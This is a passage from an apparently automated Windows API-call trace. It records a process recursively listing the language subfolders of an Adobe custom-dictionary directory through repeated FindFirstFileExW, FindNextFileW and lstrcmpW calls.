lpString2="..") returned 0 [0089.130] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0089.130] lstrcmpW (lpString1="Adobe Custom Dictionary", lpString2=".") returned 1 [0089.130] lstrcmpW (lpString1="Adobe Custom Dictionary", lpString2="..") returned 1 [0089.130] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.132] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.132] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.133] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.133] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.133] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1 [0089.133] lstrcmpW (lpString1="all", lpString2=".") returned 1 [0089.133] lstrcmpW (lpString1="all", lpString2="..") returned 1 [0089.133] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.134] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.134] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.135] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.135] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.135] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.136] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.136] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.136] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.136] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.137] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.137] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.137] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.137] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.137] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.137] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.137] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.137] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.137] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.138] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.138] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.138] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.138] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.138] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.138] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.138] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.138] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.138] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.138] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.138] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.138] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.138] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.138] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.139] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.139] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.139] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.139] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.139] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.139] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.139] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.139] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.139] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.140] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.140] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.140] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.140] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.140] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.140] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.140] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.140] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.140] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.140] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.140] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.141] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.141] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.141] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.141] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.141] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.141] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.141] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.141] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.141] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.141] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.141] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.142] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.142] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.142] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.142] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.142] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.142] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.142] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, 